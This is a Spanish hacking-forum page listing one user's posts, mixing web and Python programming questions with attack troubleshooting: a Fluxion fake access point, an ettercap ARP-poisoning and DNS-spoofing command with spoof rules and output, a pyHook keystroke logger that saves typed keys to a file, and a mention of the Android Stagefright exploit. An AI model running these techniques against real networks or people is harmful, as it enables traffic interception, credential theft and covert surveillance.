Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - $francisco

#61
¿alguien sabe por que crea una red llamada "default? a mi me crea la red que le indico pero a parte me crea otra llamada "default" y la gente que se conecta no tienen wifi ni se le sale ninguna pagina de autentificación, para explicar un poco mas lo que tengo, tengo kali con una antena wifi que soporte modo monitor y desactivo el modo "share host" de vmware y entonces conecto la antena wifi y me conecto a mi router teniendo de esta manera una ip de la red local pero no consigo tener wifi, incluso intente la siguiente manera, dejar conectado el modo "share-host" de vmware con la interfaz eth0 por donde entra internet, con wlan0 monto el fakeap con fluxion pero persiste el problema.
#62
El servicio apache ya estaba levantado, fijate que puse que accedi al servidor desde el navegador, pero solucione a muy poco el problema con

Código: bash
echo 1 > /proc/sys/net/ipv4/ip_forward


Pero no hay manera que funcione en los demas conectados, al hacer esto ya pueden redirigir a mi ip pero solo con kali que es desde donde realizo el ataque pero como bien dices solo con http, aun asi los dns de  las victimas no cambian por ejemplo en windows 10 que es la pc 1 accede a las paginas originales y tambien probe desde el movil donde ni siquiera puede acceder a ninguna pagina cuando se realiza el ataque, es como si no resolviera ninguna url, en kali hago ping y efectivamente la ip es la mia local pero en windows 10 es la original la tabla arp tampoco cambia, lo que no entiendo es porque afecta a la maquina virtual y no a los demas si se encuentran en la misma red local, lo unico que estoy pensando es que los navegadores tienen proteccion sobre este tipo de ataques
#63
Que tal a todos, os comento la situación.

mi ip: 192.168.0.168
ip victima: 192.168.0.161
puerta enlace: 192.168.0.1


pc1 - 192.168.0.161(pc fisico con antena tplink)
pc2 - 192.168.0.168 (vmware con kali y antena alfa compatible modo monitor)

modifico el archivo etter.dns /etc/ettercap/etter.dns

Código: php
*.underc0de.org   A   192.168.0.168
*.underc0de.*   A   192.168.0.168
www.underc0de.*   A   192.168.0.168
*underc0de.*   A   192.168.0.168


comando ettercap

Código: php
ettercap -T -q -P dns_spoof -i wlan0 -M arp /// ///


respuesta ettercap al acceder a la underc0de desde el pc kali, en el realizo el dns_spoof

Código: php
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
wlan0 -> 00:C0:...........................
  192.168.0.168/255.255.255.0
  ........................................

Privileges dropped to EUID 0 EGID 0...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

4 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

dns_spoof: A [underc0de.org] spoofed to [192.168.0.168]
dns_spoof: A [underc0de.org] spoofed to [192.168.0.168]
dns_spoof: A [underc0de.org] spoofed to [192.168.0.168]
dns_spoof: A [underc0de.org] spoofed to [192.168.0.168]
dns_spoof: A [underc0de.org] spoofed to [192.168.0.168]


Y desde el pc victima ni si quiera muestra una respuesta en ettercap, utilizo el navegador del pc victima para ver si puedo acceder al servidor de kali y efectivamente puedo ver la pagina introduciendo la url, no se porque no cambia los dns de las victimas y desde el pc de kali simplemente muestra un error al acceder a la pagina como si no existiera ¿alguna idea?
#64
Yo lo probe y se ven dos redes con el mismo nombre ademas se ve otra con el nombre default y las dos están abiertas, yo seguí todos los pasos pero mas bien veo que funciona como un hostpot como una red de hotel que pide la pass al navegar.
#65
Yo utilizo xamp, seguramente será lo de la politica de seguridad pero de ser así mejor no utilizar frames ya que lo que estoy buscando es que funcione el código en cualquier navegador. Gracias.
#66
La verdad que es muy interesante pero no se muy bien el funcionamiento pero ¿y si la victima tiene para conectar automaticamente a la red? ¿y si el fakeap pidiera el mismo tipo de cifrado? con esto quiero decir que por ejemplo windows intente conectar a el fakeap pensando que es la misma red eso sería lo mas lógico pero supongo que programar este tipo de scripts no debe ser nada fácil, aun así se agradece y lo probaré.
#67
index.php

Código: html5
<!DOCTYPE html>
<html>
<script type="text/javascript" src="js/jquery-3.1.0.min.js"></script>
<script type="text/javascript" src="js/rq.js"></script>
<FRAMESET rows="20%,80%">
<frame id="algo" name="mainFrame" src="frames/header.php" noresize="noresize"></frame>
<FRAMESET cols="15%,85%">
<frame src="frames/sidebar.php" noresize="noresize"></frame>
<frame src="frames/body.php" noresize="noresize"></frame>
</FRAMESET>
</FRAMESET>
</html>


header.php

Código: html5
<!DOCTYPE html>
<html>
<head>
<title></title>
<link rel="stylesheet" type="text/css" href="css/header.css">
</head>
<body>
header
</body>
</html>


rq.js

Código: javascript
$(document).ready(function(){
window.frames[1].document.body.style.background = "blue";
});


Lo he intentado con multitud de ejemplo y no funciona.

Código: javascript
$('body', $('#algo')[0].contentWindow.document).text('cambiado')


Código: javascript
$('#algo').contents().find('body').text('cambiado');


Pero ninguna de estas funcina ¿donde está el problema? porque parece ser que debería funcionar y no puedo acceder a cambiar nada de el frame.
#68
esa linea en versiones actuales no sale, solucione el problema poniendo el archivo .mo en la carpeta /languages/plugins.

gracias.
#69
Que tal de nuevo a todos, tengo instalado mingle en wordpress y el idioma en los ajustes en español, cuando los instalo me sale en ingles entonces he instalado loco translate y en el archivo .po lo selecciono y le doy a guardar pero no se traduce nada de mingle incluso he intentado modificar el archivo .pot desde loco translate y sigue igual, el caso es que en los tutoriales que he visto lo hacen muy fácil, seleccionan la cadena y la traducen y les funciona y mingle trae muchas traducciones pero selecciono el archivo .po español le pulso en guardar y no se traduce, ya no de como hacerlo si pudierais orientarme un poco lo agradecería. Por si sirve utilizo xamp ejecutado en modo administrador ya que en modo normal no me deja ejecutar apache.

Gracias.
#70
Dudas y pedidos generales / Re:Hacer una web con vps
Abril 19, 2016, 09:57:14 AM
Gracias por las respuestas ahora aprobar!!!
#71
Dudas y pedidos generales / Re:Hacer una web con vps
Abril 18, 2016, 10:08:22 AM
Gracias por las ayudas pero en las dos respuestas tengo que apuntar a sitios diferentes, mi proveedor del vps me proporciona unos dns entonces donde tendría que apuntar ¿a mi ip o a los dns que me proporciona mi proveedor? lo demas si lo tengo claro lo de montar apache,php5 y mysql pero lo qu eno tengo claro es despues como acceden a mi web si tengo dos webs por ejemplo "miweb_1" y "miweb_2"

las dos funcionando en /var/www/miweb_1 y /var/www/miweb_2 ¿como resolvera donde tiene que apuntar? por ejemplo www.miweb_1.com tiene que apuntar a /var/www/miweb_1 esto es lo que no tengo claro
#72
Dudas y pedidos generales / Hacer una web con vps
Abril 17, 2016, 10:50:11 PM
Muy buenas compañeros, resulta que tengo un dominio comprado y quiero añadirlo a una vps, en en vps quiero linux pero he buscado informacion sobre como hacer que la direccion apunte a mi vps, mi panel de el dominio me deja poner los dns a donde apuntar y en un hosting es muy facil, solo es ponerlo y listo pero en el vps no se que hacer, estuve leyendo algo de que tengo que crear un registro pero estoy muy perdido, lo que quiero es que mi dominio "miweb.net" apunte a mi vps xx.xx.xx.xx/index.php pero ni idea de como hacerlo ya que solo puedo añadir los dns
#73
Interesante a checarlo

Enviado desde mi Aquaris E4.5 mediante Tapatalk

#74
Muy buenas de nuevo, la verdad no sabia que titulo poner pero es así en un caso que no se el porque, tan solo creo una clase y pongo un atributo que contiene una lista y al crear dos objetos de esa clase y actualizar la lista el otro objeto también cambia el atributo.

Código: python
class estructura:
    _buffer = []
    def __init__(self):
        self.id = 0

    def set_buffer(self,data):
        self._buffer.append(data)

    def get_buffer(self):
        return self._buffer

q = estructura()
q2 = estructura()

q.set_buffer('datos')

print q.get_buffer()
print q2.get_buffer()


Simplemente es un ejemplo y si lo ejecutan los dos objetos tienen el atributo "_buffer" con el mismo valor y esto no deberia pasar al cambiar el valor de un atributo de un objeto no deberia afectar al otro pero tambien comprobé que esto cambia si hago lo siguiente.

Código: python
class estructura:
    def __init__(self):
        self.id = 0
        self._buffer = []

    def set_buffer(self,data):
        self._buffer.append(data)

    def get_buffer(self):
        return self._buffer

q = estructura()
q2 = estructura()

q.set_buffer('datos')

print q.get_buffer()
print q2.get_buffer()


Si pongo el atributo "_buffer" dentro de el metodo "__init__" no comparte este atributo y tampoco pasa si el buffer es simplemente un "string" solo pasa si contiene una lista, tupla o diccionario ¿alguien sabe a que se debe?
#75
Puedes hacer varias cosas.

1-Crear una interfaz con Python en PyQT4 con MySQLdb para conectar a la base de datos.
2-Crear la conexión a la base de datos en php con una interfaz con html,css y que se administre desde un servidor con apache por ejemplo puedes usar xamp.
3- Puedes utilizar c++.

Como a mi me gusta mucho python te lo recomiendo  :) pero haber que dicen los compañeros si tienen otra opinión.
#76
Buenas a todos de nuevo, hoy quiero compartir un script que hice viendo que por internet algunos piden como ejecutar la escucha del teclado con pyHook en un nuevo hilo, pues hice un módulo que creo que ayudará bastante a la hora de poder hacerlo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: python
#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper
#facebook: hackloper
#site: http://hackloper.blogspot.com.es/2016/03/capturar-teclado-en-nuevo.html

import pyHook,pythoncom
from threadComm import Thread
from os import SEEK_END as END

class bindKeyboard(Thread):
    def __init__(self,work=True,write=False,name_file='text.txt'):
        self.wk=work;self.wr=write;self.nf=name_file
        Thread.__init__(self)

    def work(self,event):
        print 'Ascii:', unichr(event.Ascii)

    def run(self):
        h = keyboard(self.wk,self.wr,self.nf)
        h.work = self.work
        h.bindMessages()

class keyboard(pyHook.HookManager):
    def __init__(self,work=True,write=False,name_file=None):
        self._work = work
        self._write = write
        self._name_file = name_file
        pyHook.HookManager.__init__(self)
        self.HookKeyboard()
        self.KeyDown = self.__keyDown

    def __write_in_file(self,data,key):
        f = open(self._name_file,"a")
        if key == 'Back':
            f.seek(-1,END)
            f.truncate()
        elif key == 'Return':
            f.write('\n')
        elif key == 'Space':
            f.write(' ')
        else:
            f.write(data.encode('utf-8'))
        f.close()

    def __keyDown(self,event):
        if self._work == True: self.work(event)
        if self._write == True: self.__write_in_file(unichr(event.Ascii),event.Key)
        return 1

    def bindMessages(self):
        pythoncom.PumpMessages()


Método de uso simple:

Código: python
from bindKeyboard import  bindKeyboard
import time

keyboard = bindKeyboard(work=True,write=True,name_file="teclas.txt")
keyboard.start()
time.sleep(10)


Método de uso con herencia:

Código: python
from bindKeyboard import  bindKeyboard
import time

class keyboard(bindKeyboard):
    def __init__(self,work=True,write=False,name_file="teclas.txt"):
        bindKeyboard.__init__(self,work,write,name_file)
    def work(self,event):
        print unichr(event.Ascii)

mykeyboard = keyboard()
mykeyboard.start()
time.sleep(10)


Para mi recomendación con herencia se hace mas fácil ya que podremos trabajar dentro de la clase con fas facilidad creando nuestros atriburos y métodos necesarios.
#77
Es realmente interesante esta vulneravilidad de android que está basada en un bug del sofware multimeda que afecta de la versión 2.2 a la 5.1

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se envia el video en el formato ".mp4" y este contiene el codigo para explotar la vulneravilidad en android y aunque todavia no lo he utlizado me parecio muy interesante y si lo pruebo os comento que tal fué.
#78
Python / [threadComm] Comunicación entre hilos
Marzo 31, 2016, 09:58:55 AM
Muy buenas gente de Underc0de quería compartir con vosotros un módulo que hice para la comunicación entre hilos y aunque muchos sabéis que existe la librería estándar de "Queue" yo decidí crear una propia por que tenia algunos problemillas a la hora de comunicar los datos entre hilos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
requiere: PyQT4
Código: python
#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper
#facebook: hackloper
#site: http://hackloper.blogspot.com.es/2016/03/python-comunicacion-entre-hilos.html

from PyQt4 import QtCore
import time,sys

class Error(Exception):
    def __init__(self,error):
        self.error = error

    def __str__(self):
        return self.error

class Queue:
    def __init__(self,max_data=1024,max_buffer=1024):
        self.__buffer = []
        self.__writing = False
        self.__getting = False
        self.__max_data = max_data
        self.__max_buffer = max_buffer

    def __del_data_buffer(self):
        while self.len_buffer() > self.__max_buffer:
            del self.__buffer[0]

    def set_data(self,data):
        if self.__writing == True:
            return (False,'set_data','writing')
        elif sys.getsizeof(data) > self.__max_data:
            return (False,'set_data','size data not supported')
        else:
            if self.len_buffer() > self.__max_buffer:
                self.__del_data_buffer()
            self.__writing = True
            self.__buffer.append(data)
            self.__writing = False
            return (True,'set_data')

    def wait_data(self,num_loop=0,time_wait=1):
        if num_loop == 0 and time_wait > 0:
            return self.get_data(True)
        elif num_loop > 0 and time_wait > 0:
            num = 0
            while num < num_loop:
                if self.len_buffer() > 0:
                    return (True,'wait_data',self.get_data(True))
                time.sleep(time_wait)
            return(False,'wait_data',[])
        else:
            if num_loop < 0:
                raise Error('Error num_loop with signed')
            elif time_wait < 0:
                raise Error('Error time_wait with signed')


    def get_data(self,call=False):
        if self.__getting == True:
            return (False,'get_data','getting')
        self.__getting = True
        temp_buffer = self.__buffer
        self.__buffer = []
        self.__getting = False
        if call == True:
            return temp_buffer
        return (True,'get_data',temp_buffer)

    def len_buffer(self):
        if len(self.__buffer) > 0:
            return sys.getsizeof(self.__buffer)
        else:
            return 0

class Thread(QtCore.QThread):
    __error_queue = []
    def __init__(self,queues=[]):
        QtCore.QThread.__init__(self)
        for queue in queues:
            if queues[queue].__class__.__name__ == 'Queue':
                setattr(self,'_{0}'.format(queue),queues[queue])
            else:
                self.__error_queue.append("Not supported object because it is not of type Queue, object {0} class {1}".format(queue,\
                queues[queue].__class__.__name__))
        if len(self.__error_queue) > 0:
            raise Error(str(self.__error_queue))


Un ejemplo:
Código: python
from threadComm import Thread,Queue
import time

class th(Thread):
    def __init__(self,**queues):
        Thread.__init__(self,queues)

    def run(self):
        for i in range(15):
            self._com.set_data(i+1)
            time.sleep(1)

class th2(Thread):
    def __init__(self,**queues):
        Thread.__init__(self,queues)

    def run(self):
        n = 0
        while n != 15:
            print "N vale: "+str(n)
            data = self._q.wait_data(3,1)
            if data[0] == True:
                n = data[2]

q = Queue()

t = th(com=q)
t2 = th2(q=q)

t.start()
t2.start()

for i in range(17):
    print "hilo princial: "+str(i)
    time.sleep(1)


Resultado:
hilo princial: 0
Código: php
N vale: 0
N vale: [1]
hilo princial: 1
N vale: [2]
hilo princial: 2
N vale: [3]
hilo princial: 3
N vale: [4]
hilo princial: 4
N vale: [5]
hilo princial: 5
N vale: [6]
hilo princial: 6
N vale: [7]
hilo princial: 7
N vale: [8]
hilo princial: 8
N vale: [9]
hilo princial: 9
N vale: [10]
hilo princial: 10
N vale: [11]
hilo princial: 11
N vale: [12]
hilo princial: 12
N vale: [13]
hilo princial: 13
N vale: [14]
hilo princial: 14
N vale: [15]
hilo princial: 15
hilo princial: 16


Espero que os sirva en algún script o programita  :)
#79
Tambien puedes mostrar un webview y utilizar una pagina php para mostrar los resultados del chat y actualizar la informacion con ajax, ten en cuenta que se tiene que saber siempre si un usuario esta activo o no y esto tiene que hacerlo el server, por ejemplo, el webview es una pagina html donde ajax hace una llamada a una pagina php y esta le responde con los comentarios de el chat, el clienten puede tener y un hilo que cada x tiempo llame a una pagina php y obtenga los usuarios en linea o un incluso con MySQLdb, aunque creo que lo mas logico es que si programas un cliente en java el servidor sea java y este se encargue de recivir y enviar los mensajes
#80
Yo utilizo python pero puedes utilizar C++, creo que con python podria hacerse bastante bien tiene un módulo llamado SocketServer que aporta una manera de ejecutar los clientes en un nuevo hilo llamado ThreadingTCPServer y para el cliente puedes utilizar asyncore fijate aqui tienes un ejemplo que hice hace tiempo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta